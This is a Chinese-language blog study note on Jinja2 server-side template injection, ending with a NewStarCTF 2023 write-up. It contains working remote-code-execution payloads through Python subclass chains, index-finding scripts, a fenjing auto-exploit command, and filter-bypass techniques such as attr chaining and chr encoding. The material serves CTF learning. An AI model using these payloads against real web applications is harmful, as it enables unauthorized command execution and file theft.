SSTI模板注入学习小记
其实真的拖了很久没仔细学了 这个周末把ssti和xxe做完结尾
工具可以直接梭哈 这个是一道题目的命令 用的时候题目不一样要修改一些参数 比如post还是get 以及传参进去的参数名
fenjing crack -u http://node4.anna.nssctf.cn:28186/echo –method POST –inputs input –interval 0.01
SSTI模板注入
SSTI漏洞成因及危害:
SSTI(Server-Side Template Injection,服务端模板注入)是一种安全漏洞,通常出现在使用模板引擎的Web应用程序中。我们可以将SSTI模板注入类比于SQL注入,其成因是渲染函数在渲染的时候,对用户输入的变量不做渲染,当用户输入直接连接到模板中,而不是作为数据传入时,可能会发生服务器端模板注入攻击。任何编程语言都有可能出现 SSTI漏洞,SSTI 漏洞的本质是在服务器端对用户输入的不当处理,导致恶意用户能够通过注入模板代码来执行任意代码。这允许攻击者注入任意模板指令以操纵模板引擎,甚至可能造成任意文件读取和RCE远程控制后台系统。
1 | $output = $twig->render("Dear " . $_GET['name']); |
比如这个代码片段
在这段代码中,我们使用了 Twig 模板引擎来渲染模板。然而,对于传入的 name 参数,直接将其与其他字符串进行了简单的拼接,而没有对其进行任何过滤和转义操作。这样做存在安全风险,因为攻击者可以通过构造恶意的输入来注入任意的模板代码。
如果攻击者将 name 参数设置为``{{ 7*7 }}
S
这样的结果会导致 Twig 引擎将 7*7 这个表达式作为模板代码进行执行,从而使攻击者能够执行任意的代码。
如何判断对方的模板?
常见模板有Smarty、Mako、Twig、Jinja2、Eval、Flask、Tornado、Go、Django、Ruby等

这是通过逐步输入不同的 payload 来判断目标站点使用的模板引擎,以及是否存在注入漏洞
1. 初始测试
如果能执行并返回 49,说明可能是支持 ${} 语法的模板(如 Smarty 等)。
如果无效,则尝试 {{7*7}}。
2. Smarty 分支
Smarty 支持注释语法 {* ... *}。
如果返回正常结果,基本可以确定是 Smarty。
如果能运行,可能是 Mako(Python 模板)。
如果不识别,可能是未知模板。
3. 分支
如果返回 49:说明模板语法可能是 Jinja2(Flask、Django 等)、Twig(PHP)等常见框架。
如果报错或无效 → 可能 不存在漏洞,或者使用了未知模板引擎。
jinja2
这里主要从Flask的模板引擎Jinja2入手,CTF中大多数也都是使用这种模板引擎
模板的基本语法
1 | {% ... %} for Statements |
我们一个一个来看
1.
1 | `{% ... %}` |
控制语句
用于写控制逻辑,比如 循环、条件判断、继承、导入
1 | `{% for user in users %} |
是语句 输出的是
1 | `{{ user.name }}` |
1 | `{{ ... }}` |
表达式输出
用来输出变量或计算结果到模板页面。
任何放在 {{ ... }}内的内容,都会被 计算并渲染成字符串。
1 | <p>Hello, {{ username }}!</p> |
3.
1 | `{# ... #)` |
→ 注释
4.
1 | `\# ...` |
就是一个简化书写
常见的魔术方法
1.__class_ _
获取对象所属的类
2. __mro__
可以通过它找到 所有基类,从而到 object。
3. __base__ / __bases__
类的直接父类。
常用于向上找 object。
4. __subclasses__()
最常用的,能列出所有 object 的子类。
通过它可以找到各种敏感类,比如 file, warnings.catch_warnings, subprocess.Popen
5. __globals__
获取函数的全局作用域字典。
可用来找 os、sys 等模块。
6. __getitem__
等价于 [] 下标访问。
可绕过部分黑名单。
SSTI 中常用的魔术方法有
__class__ → __mro__ → __subclasses__() → __globals__ → __builtins__ → RCE
另外还会结合 __dict__, __module__, __getitem__ 等来绕过限制。
注入思路
随便找一个内置类对象用__class__拿到他所对应的类
用__bases__拿到基类(<class ‘object’>)
用__subclasses__()拿到子类列表
在子类列表中直接寻找可以利用的类getshell
构造链思路
第一步
使用__class__来获取内置类所对应的类
在 Python 里,每个对象都有一个 __class__ 属性,通过它可以获取到该对象所对应的类
对于字符串对象(像 '' 或者 ""),使用 __class__ 会得到 <class 'str'>,表明这个对象属于字符串(str)类;
对于列表对象(如 []),__class__ 会返回 <class 'list'>,说明它属于列表(list)类;
元组对象(如 ())的 __class__ 是 <class 'tuple'>,属于元组(tuple)类;
字典对象(如 {})的 __class__ 为 <class 'dict'>,属于字典(dict)类。
简单来说,就是用 __class__ 这个属性来查看不同内置对象到底属于哪种类别,帮助理解 Python 中对象和类的关系。
第二步
拿到object基类
在 Python 中,所有类都直接或间接继承自 object 类
有三种方式获取
方式一:用__bases__[0]拿到基类
- 语法:
对象.__class__.__bases__[0]
对象.__class__:先获取对象所属的类(比如字符串 '' 的类是 str);
类.__bases__:获取该类的直接父类元组(因为一个类可能有多个直接父类,所以返回元组);
__bases__[0]:取元组的第 0 个元素,即第一个直接父类。
1
2
3
4 >//字符串 '' 的类是 str,str 的直接父类是 object
>''.__class__.__bases__[0]
><class 'object'>
方式二:通过 __base__ 获取
- 语法:
对象.__class__.__base__
__base__ 是 __bases__ 的 “简化版”,直接返回类的第一个直接父类(如果类没有直接父类,返回 None,但内置类都继承自 object,所以一定能拿到)。
方式三:通过 __mro__ 获取
- 语法:
对象.__class__.__mro__[1]或对象.__class__.__mro__[-1]
__mro__是一个元组,包含类的继承链顺序(从当前类到最顶层基类 object 的顺序);__mro__[1]:取继承链的第 1 个元素(因为第 0 个是当前类自己,第 1 个就是直接父类,通常是 object);__mro__[-1]:取继承链的最后一个元素(最顶层基类,即 object)。
为什么要获取 object 基类
这是关键步骤
object 类有一个特殊方法 __subclasses__(),可以获取所有继承自 object 的子类列表(包含大量内置类和可能的危险类,如 file、subprocess.Popen 等);
拿到子类列表后,就能进一步利用这些类执行文件读取、命令执行等操作,最终实现 “getshell”。
第三步
用__subclasses__()拿到子类列表
每个类都有一个 __subclasses__() 方法,调用该方法会返回所有直接继承自当前类的子类列表。
object 是 Python 中所有类的最顶层基类,所以 object.__subclasses__() 会返回Python 中所有已加载的类的列表(因为所有类都直接或间接继承自 object)。
1 | ''.__class__.__bases__[0].__subclasses__() |
(1)''.__class__
'' 是一个空字符串对象,__class__ 是对象的内置属性,用于获取该对象所属的类。
执行后得到:<class 'str'>(即字符串类)。
(2).__bases__[0]
__bases__ 是类的内置属性,用于获取该类的直接父类元组(因为 Python 支持多继承,所以父类是元组形式)。
str 类的直接父类是 object(Python 中所有类最终都继承自 object),所以 str.__bases__ 返回 (<class 'object'>,),取第 0 个元素 .__bases__[0] 就得到 <class 'object'>(即 object 基类)。
(3).__subclasses__()
对 object 类调用 __subclasses__() 方法,会返回所有继承自 object 的子类列表。
由于 Python 内置了大量类(如 list、dict、file、subprocess.Popen 等),且运行时可能加载了更多自定义类,所以这个列表会非常长(即 “一大堆的子类”)。
第四步
从object.__subclasses__()返回的大量类中,筛选出包含文件操作、命令执行等危险功能的类
首选:os._wrap_close(索引快速定位)
利用脚本跑索引
在ssti中,我们需要找到 Python 内置的、能执行系统命令(如 popen)的类。但这些类在 object.__subclasses__() 返回的 “子类列表” 中是无序的,且索引会随环境变化,因此需要用脚本遍历子类,定位目标类的索引,才能构造 payload 利用。
1 | search = 'popen' # 要搜索的目标方法名(这里是os.popen,用于执行系统命令) |
1.().__class__.__bases__[0]:
() 是元组对象,__class__ 获取其类(<class ‘tuple’>);__bases__[0] 获取 tuple 类的第一个父类,即最顶层基类 object。
2.__subclasses__():
调用 object.__subclasses__(),返回所有继承自 object 的子类列表(包含 Python 内置类、第三方库类等)。
3.i.__init__.__globals__:
i 是遍历到的子类;__init__ 是类的构造方法;__globals__ 是 init 方法所在的全局作用域字典(包含该类所在模块的所有全局变量、方法)。
4.if search in ...keys():
检查全局作用域中是否包含 popen 方法(os.popen 是执行系统命令的关键方法)。
运行之后会输出类似
1 | <class 'os._wrap_close'> 128 |
这表示:在子类列表中,索引为 128 的类是 os._wrap_close,且它的 __init__ 全局作用域包含 popen。
利用找到的类执行命令(本地验证)
1 | # 步骤1:获取os._wrap_close类 |
首先我们通过{{ "".__class__.__bases__[0].__subclasses__() }}输出所有子类
查看他们的索引
构造最后利用payload
1 | {{ "".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('cat /flag').read() }} |
在实际做题时
无法本地跑脚本 这时候
获取子类
1 | ().__class__.__bases__[0].__subclasses__() |
然后把获取的子类列表字符串(包含所有类的描述,如<class 'os._wrap_close'>)复制到find2.py的变量a中:
1 | import json |
脚本通过字符串处理逻辑,从变量a中提取每个类的完整描述(如<class 'os._wrap_close'>):
1 | num = 0 |
处理后,allList列表会存储每个类的完整描述字符串
最后遍历allList列表,寻找包含os._wrap_close的元素
1 | for k, v in enumerate(allList): # enumerate获取索引(k)和元素(v) |
输出类似

表示os._wrap_close类在子类列表中的索引是128。
这个是第一个脚本

可以看到有六个类都包含__import__
随便用一个就行
1 | {{"".__class__.__bases__[0].__subclasses__()[115].__init__.__globals__.__import__('os').popen('whoami').read()}} |
我这里的版本是python3 python2和这个不一样
下面看一个23都通用的方法
__builtins__代码执行
把上面find.py脚本search变量赋值为__builtins__,然后找到第140个类warnings.catch_warnings含有他,而且这里的话比较多的类都含有__builtins__,比如常用的还有email.header._ValueFormatter等等,这也可能是为什么这种方法比较多人用的原因之一吧

再调用eval等函数和方法即可,payload如下
1 | {{().__class__.__bases__[0].__subclasses__()[140].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")}} |


绕过黑名单
知道怎么构造出来的payload 下一步就是学习如何绕过一些过滤
细说Jinja2之SSTI&bypass_bypass ssti-CSDN博客
文章写的比我细 需要的时候翻一下就可以了
[NewStarCTF 2023 公开赛道]GenShin
信息收集

我点了好几次也没看见这还有个路径提示。。。。。。。


试了下ssti

66666666666
试了下这里只要俩大括号就不行
利用{% %}标签执行代码
1 | {% print(7*7) %} |
查看当前 Flask 应用的配置信息
1 | {% print(config) %} |
这里试的时候可以发现过滤了蛮多东西 .也过滤了
绕过.我们就用attr
第一步拿到类和基类
()|attr("__class__")|attr("__base__")
1 | ?name= |

获取子类列表
1 | import json |

|attr("__globals__") 的作用是从类的构造方法中 “撬出” 它所在模块的所有功能,让我们能拿到 os 模块等 “危险工具”,最终实现命令执行、文件读取等攻击行为,这是 SSTI 漏洞从 “注入” 到 “getshell” 的关键一跃。
下一步就是访问这个globals
这里init也被过滤了
通过字符串拼接来绕过
把 __init__ 拆分为 '__in' + '__it__'
1 | ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(132)|attr("__in"+"it__")|attr("__globals__")%} |

得到的这个就是global的字典内容
它相当于是一个武器库
返回当前作用域的全局变量字典
在 SSTI 中,拿到这个字典就相当于获得了:
- 所有内置函数(如
eval、__import__、open等,可执行命令、读写文件); - 已加载的模块(如
os、subprocess等,是执行系统操作的核心工具); - 模板运行时的自定义变量 / 类(可能包含开发者遗留的危险逻辑)

这里又过滤了popen systen这种直接执行的
所以我们需要间接执行比如eval+字符串编码
|attr("get")("eval"):从 __builtins__ 中取出 eval 函数
执行的命令
eval(__import__('os').popen('ls /').read())
这里要把它进行chr编码 然后chr中间要加上加号
之后知道flag位置直接进行查看
完整payload
1 | ?name={%print""|attr("__class__")|attr("__base__")|attr("__subclasses__")()|attr(10)|attr("__in"+"it__")|attr("__globals__")|attr("get")("__builtins__")|attr("get")("eval")("eval(chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(39)%2bchr(111)%2bchr(115)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(39)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(39)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41))")%} |
写死我了。。。。。



![“[NewStarCTF 2023 公开赛道]WEEK5--web方向复现记录”](/img/new.jpg)
![“[NewStarCTF 2025]WEEK3--web方向wp”](/img/newstar5.jpg)

